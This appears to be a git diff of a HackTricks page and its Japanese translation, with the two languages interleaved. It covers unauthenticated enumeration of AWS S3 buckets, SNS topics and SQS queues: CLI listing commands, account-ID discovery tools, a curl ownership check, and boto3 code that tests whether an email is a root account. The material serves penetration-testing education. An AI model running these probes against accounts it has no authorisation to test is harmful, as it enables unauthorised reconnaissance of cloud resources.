To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored.
バケットのオープン性をテストするために、ユーザーは単にURLをウェブブラウザに入力することができます。プライベートバケットは「アクセス拒否」と応答します。パブリックバケットは、保存された最初の1,000オブジェクトをリストします。
Open to everyone:
誰でもアクセス可能:
![](<../../../images/image (201).png>)
Private:
プライベート:
![](<../../../images/image (83).png>)
You can also check this with the cli:
これをcliで確認することもできます:
```bash
#Use --no-sign-request for check Everyones permissions
#Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
@@ -128,22 +125,18 @@ You can also check this with the cli:
#Opcionally you can select the region if you now it
aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
```
バケットにドメイン名がない場合、列挙しようとするときは、**バケット名のみを入力**し、全体のAWSs3ドメインは入力しないでください。例: `s3://<BUCKETNAME>`
If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://<BUCKETNAME>`
### Public URL template
### 公開URLテンプレート
```
https://{user_provided}.s3.amazonaws.com
```
### Get Account ID from public Bucket
It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\
And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**.
This tool automates the process:
AWSアカウントを特定することは、新しい **`S3:ResourceAccount`** **ポリシー条件キー**を利用することで可能です。この条件は、アカウントが存在するS3バケットに基づいてアクセスを**制限**します(他のアカウントベースのポリシーは、リクエスト元のプリンシパルが存在するアカウントに基づいて制限します)。\
ポリシーには**ワイルドカード**を含めることができるため、アカウント番号を**1つずつ**見つけることが可能です。
このツールはそのプロセスを自動化します:
```bash
# Installation
pipx install s3-account-search
@@ -153,13 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
# With an object
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
```
この技術は、API Gateway URLs、Lambda URLs、Data Exchange データセット、さらにはタグの値を取得するためにも機能します(タグキーがわかっている場合)。詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。
This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
### Confirming a bucket belongs to an AWS account
As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** its possible to confirm an accountID the bucket belongs to by sending a request like:
### バケットがAWSアカウントに属していることを確認する
[**このブログ記事**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、**バケットをリストする権限がある場合**、次のようなリクエストを送信することで、バケットが属するアカウントIDを確認することが可能です。
```bash
curl -X GET "[bucketname].amazonaws.com/" \
-H "x-amz-expected-bucket-owner: [correct-account-id]"
@@ -167,41 +158,40 @@ curl -X GET "[bucketname].amazonaws.com/" \
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
```
If the error is an “Access Denied” it means that the account ID was wrong.
### Used Emails as root account enumeration
As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account:
エラーが「アクセス拒否」の場合、それはアカウントIDが間違っていることを意味します。
### ルートアカウント列挙としての使用メール
[**このブログ記事**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、ACLを介してS3バケットに対してメールに権限を付与しようとすることで、メールアドレスがAWSアカウントに関連しているかどうかを確認することが可能です。これがエラーを引き起こさない場合、そのメールはAWSアカウントのルートユーザーであることを意味します。
```python
s3_client.put_bucket_acl(
Bucket=bucket_name,
AccessControlPolicy={
'Grants': [
{
'Grantee': {
'EmailAddress': 'some@emailtotest.com',
'Type': 'AmazonCustomerByEmail',
},
'Permission': 'READ'
},
],
'Owner': {
'DisplayName': 'Whatever',
'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
}
}
Bucket=bucket_name,
AccessControlPolicy={
'Grants': [
{
'Grantee': {
'EmailAddress': 'some@emailtotest.com',
'Type': 'AmazonCustomerByEmail',
},
'Permission': 'READ'
},
],
'Owner': {
'DisplayName': 'Whatever',
'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
}
}
)
```
## References
## 参考文献
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,25 +1,21 @@
# AWS - SNS Unauthenticated Enum
# AWS - SNS 未認証列挙
{{#include ../../../banners/hacktricks-training.md}}
## SNS
For more information about SNS check:
SNSに関する詳細情報は以下を確認してください:
{{#ref}}
../aws-services/aws-sns-enum.md
{{#endref}}
### Open to All
### 誰でもアクセス可能
When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic:
ウェブコンソールからSNSトピックを設定する際に、**誰でも公開および購読できる**ことを示すことが可能です:
<figure><img src="../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**.
したがって、アカウント内の**トピックのARNを見つける**(またはトピックの潜在的な名前をブルートフォースする)と、**それらに公開**または**購読**できるかどうかを**確認**できます。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,27 +1,21 @@
# AWS - SQS Unauthenticated Enum
# AWS - SQS 無認証列挙
{{#include ../../../banners/hacktricks-training.md}}
## SQS
For more information about SQS check:
SQSに関する詳細情報は、以下を確認してください
{{#ref}}
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
### Public URL template
### 公開URLテンプレート
```
https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
```
### 権限の確認
### Check Permissions
It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them.
SQSキューポリシーを誤って設定し、AWS内のすべてのユーザーにメッセージの送受信権限を付与することが可能です。したがって、キューのARNを取得したら、アクセスできるか試してみてください。
{{#include ../../../banners/hacktricks-training.md}}